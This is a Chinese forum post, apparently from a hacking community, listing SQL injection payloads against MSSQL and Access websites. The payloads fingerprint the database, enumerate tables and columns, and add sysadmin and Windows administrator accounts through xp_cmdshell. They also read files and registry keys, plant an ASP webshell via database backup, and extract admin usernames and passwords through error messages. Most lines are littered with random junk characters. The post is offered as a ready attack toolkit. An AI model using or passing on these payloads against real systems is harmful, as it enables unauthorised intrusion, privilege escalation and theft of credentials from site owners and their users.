找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2405|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1.判断是否有注入 4 h9 @% y' Y$ f% A9 Z
;and 1=1 ( ]  F2 m7 Y4 |+ m6 I
;and 1=2
& x) N: N  o4 s, _& U4 t5 b0 w
2.初步判断是否是mssql
/ y( d" l" @2 M% F* v;and user>0 ' }0 }: o: q" Q- D, I

8 w7 _2 e$ A/ {5 ]2 y0 ]3.判断数据库系统
/ C3 k; T0 H  y$ |% ]- ~" C;and (select count(*) from sysobjects)>0 mssql
+ ]3 ~- w% n% i, L  |;and (select count(*) from msysobjects)>0 access $ n* e$ ?& s0 M2 d6 U6 U; K
, C2 |4 ?3 c5 p% z8 @1 E
4.注入参数是字符 - P0 p( E" J2 }
'and [查询条件] and ''='
) K0 g4 A8 z" {; z' v. U5 F" W, K) ~: s3 m
5.搜索时没过滤参数的
- J, d  S3 b7 u0 N6 p$ a'and [查询条件] and '%25'='
- W! g) M( B2 z
  o$ l! T; l+ h( A# O6.猜数表名 $ _' Q2 T. l4 _
;and (select Count(*) from [表名])>0 ' q8 {. e1 F, ?5 z* s7 ]1 L. x

" V! H; z0 A  O8 c# j$ S0 _; C7.猜字段 3 {4 d; T; k3 N/ S
;and (select Count(字段名) from 表名)>0
' d# g/ @# }8 I' Q# u& b) ?8 ?: S2 I  U, ~2 B# W
8.猜字段中记录长度 & u( k- ]: h# z" V' P! o! q
;and (select top 1 len(字段名) from 表名)>0
: Z" }0 `: @. G* x1 X# M, E7 X' r' S4 u9 t9 @0 `
9.(1)猜字段的ascii值(access) , U+ C) R7 q4 r$ i
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
' m4 b8 L$ m  x8 ~
! ]0 p+ @. y) H: t(2)猜字段的ascii值(mssql) % R( J, N' j* z" c8 u8 c( T0 p
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 : X, P, J; x; f& w+ Z/ M5 X' O

. m: R, z: y* t9 g10.测试权限结构(mssql)
6 w+ E3 ^1 Y* Y5 H' b* k2 \;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 8 L! [' C) o- j( ^' m5 W
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 0 c9 N3 N6 x" {
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
! \( _2 L0 K' D;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
& D/ {: G8 K2 H6 x9 a3 n/ Y) w;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- " J* w. m8 j+ l# c: P: D' ~
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ( d8 }  o# Q0 S/ x5 O7 P
;and 1=(select IS_MEMBER('db_owner'));-- 7 X" Q. f( g& t" z3 e" v. h# v

/ ~1 `0 I5 d( [/ \, ^11.添加mssql和系统的帐户
1 o  E/ u0 C" t  H0 Q+ @* k;exec master.dbo.sp_addlogin username;--
- T* e) k# V6 m0 d9 w& X;exec master.dbo.sp_password null,username,password;--
2 C& o9 w+ p: n: G0 @;exec master.dbo.sp_addsrvrolemember sysadmin username;--
0 `3 e3 z) b; j& ?;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
3 `; J- u3 H6 D' }: o;exec master.dbo.xp_cmdshell 'net user username password /add';--
8 F% ^9 K/ D- E1 T; j7 X1 F' m. };exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- $ M4 b+ d9 Z" K
* J# q, o7 H6 C, \; @# ]% p
12.(1)遍历目录 ) e1 B$ H( {! J$ i% `, K
;create table dirs(paths varchar(100), id int) + i. d+ f/ }3 R) E4 w
;insert dirs exec master.dbo.xp_dirtree 'c:\'
" D6 @0 E! ]4 R;and (select top 1 paths from dirs)>0
! m( [& Q) [& Q: M! M1 o! A: O;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
1 O! C3 M5 f8 s0 Y
0 h5 A5 U5 T- n(2)遍历目录
5 ], A2 x  @1 g0 t' S9 {$ q4 W8 ~;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
) `4 Z, \, t- K$ ~2 n! o; {;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器   b8 ?! O. D- D% U. C
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
6 q; j+ x! T: T+ ]1 ~, t;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 / v4 x( i. J( o$ X( b% A: Y6 E
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
7 o+ K" K7 }( z
& M5 ~1 u( r1 h  b13.mssql中的存储过程 / Z* ~; ~+ v* z. W" ^
xp_regenumvalues 注册表根键, 子键
. o' c. B  R: Z" X;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
9 J. M, J! C$ k+ r7 I" F. uxp_regread 根键,子键,键值名
: W, n% K4 }* q- c2 C7 I; C;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 1 c: @/ `; Q; X, B1 S( A( |4 K
xp_regwrite 根键,子键, 值名, 值类型, 值 # H* ]; {$ n0 I8 ?! {, c6 s
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 1 g1 L' I5 v: ?, ^1 V' o
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 5 b  A8 s3 P, D  y4 P3 T
xp_regdeletevalue 根键,子键,值名 2 O0 g5 q& h' N) [3 `/ f. q! I! y" c
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
- v) b3 S9 D3 J5 p. F0 i$ Oxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 + ~5 s/ I: E5 B7 b! `$ X  _( l5 s
2 K" ?/ z# f+ a% I, G' J+ T
14.mssql的backup创建webshell ) u7 l' e. o" U) ~2 G
use model $ h3 r3 u' T  |' g$ q3 @
create table cmd(str image); 9 D% W3 u2 _2 g( u' ^2 l- @
insert into cmd(str) values ('<% Dim oScript %>');
# Y; m! _( ]3 a1 g. p  pbackup database model to disk='c:\l.asp';
# A+ J5 W6 |2 M" @$ w% \2 L6 n/ C' `  h7 x4 G  L
15.mssql内置函数
0 e% t" X" t5 w8 F;and (select @@version)>0 获得Windows的版本号
+ g* N/ @- ]0 |8 o) e& e;and user_name()='dbo' 判断当前系统的连接用户是不是sa
3 p+ p5 |/ V! m( E( ^" T) ?! a;and (select user_name())>0 爆当前系统的连接用户 / x6 d$ a2 ^0 W4 \7 l+ i
;and (select db_name())>0 得到当前连接的数据库
5 Y( \1 n0 a2 x4 P$ C3 |
( B0 p5 D7 S+ I1 ]/ n- e( \$ M, H5 o$ J+ {+ I* k, w

/ Y2 _2 I* o; l/ U4 [MSSQL手注暴库
& \2 ~& ^. D( d7 z
9 V5 \# W9 L* {1 y" u* L8 p# h1.暴出当前表名和列名
: k8 `+ J' H$ }# U在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
1 U' W2 X+ e: R2 D& i. ~0 S9 v' Q1 S, W- }. F
第一.爆出所有数据库名
6 j0 I9 W* S1 E6 U( H: a利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
" Z0 q6 B/ e( y! f# g; {: I第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
9 x* J7 R0 d/ h. N) X# \% G* e; x/ F; Y) a
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名; k; z% Q9 g$ h7 \! p; l6 h

# z7 A2 @/ A3 y3 [# `  ]7 a9 {
3 p: i# @- g. \: j1 @% B/ t* n第二.爆出指定库中的所有表名% {; u) X1 K: P
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。! ]: O* l1 I2 o2 k/ D& ^% e
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
- O$ N! {% v; c
! J; P1 v/ ]: z" ]& |) Cand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
4 v2 _3 Y  K5 P' K0 G0 o' e% Rand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--! |, m' Q# Y1 S
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
4 z) {; q1 m9 s1 V( s: W) ?$ U3 y/ B2 f6 A, w3 A1 h: z; x% t
4.爆出指定表中的所有列名
4 I. Q; Y8 p/ g6 hand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
; s; N$ e& k) h1 b, N//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
: @' U3 r; J! ?2 l: ?- {2 e! E1 B% n8 }7 N
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
- d3 O9 l0 K$ x: L  R
+ D7 |, [' v  C# j7 R再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
  g- |! n, z2 G5 G# r' c依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
, F8 D) z- h' ]& X( Q2 P% }
" j3 b; [: k+ ]8 p6 S; U7 D  {2 k: L2 X/ m$ X
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
. m2 O/ W6 o$ r
/ R& I# F' a( l' N/ `  ^8 ~and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
7 {, N8 Z( m# e
3 I0 t, C4 K1 \! `. _+ p& g: yand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
1 o; |& G/ B7 w7 k0 H3 f. Q2 T
# K7 {4 Z" v' |4 N! P+ R7 h2 `; k

8 P; s+ U' V; }5.读取指定表中的数据0 E+ G- O4 q& i

6 t# K/ R! e# C. x4 band 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
, A0 m) t* D& i9 w0 o6 v0 h% P2 i; q
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
8 ^8 _9 t! j* A1 O
4 J, x! ~5 k- p# V- Q5 z8 land 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码# T3 j9 T- t" n( X
2 ~0 J8 ]# e) @& e  c

2 P2 X9 B4 w' f: {; z: [$ Yand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)! q$ @6 z5 i2 _3 S- i' N
8 B$ E. b" I/ @' M4 J& r8 Y4 m
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
4 m5 h1 _2 A! A$ A  ?
& n2 G& [8 H# I( ^" e3 Jand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
7 }7 |% o6 L# F5 L' t
5 L0 H7 }5 B; E- D知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。  u/ g1 D2 d. _  z6 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表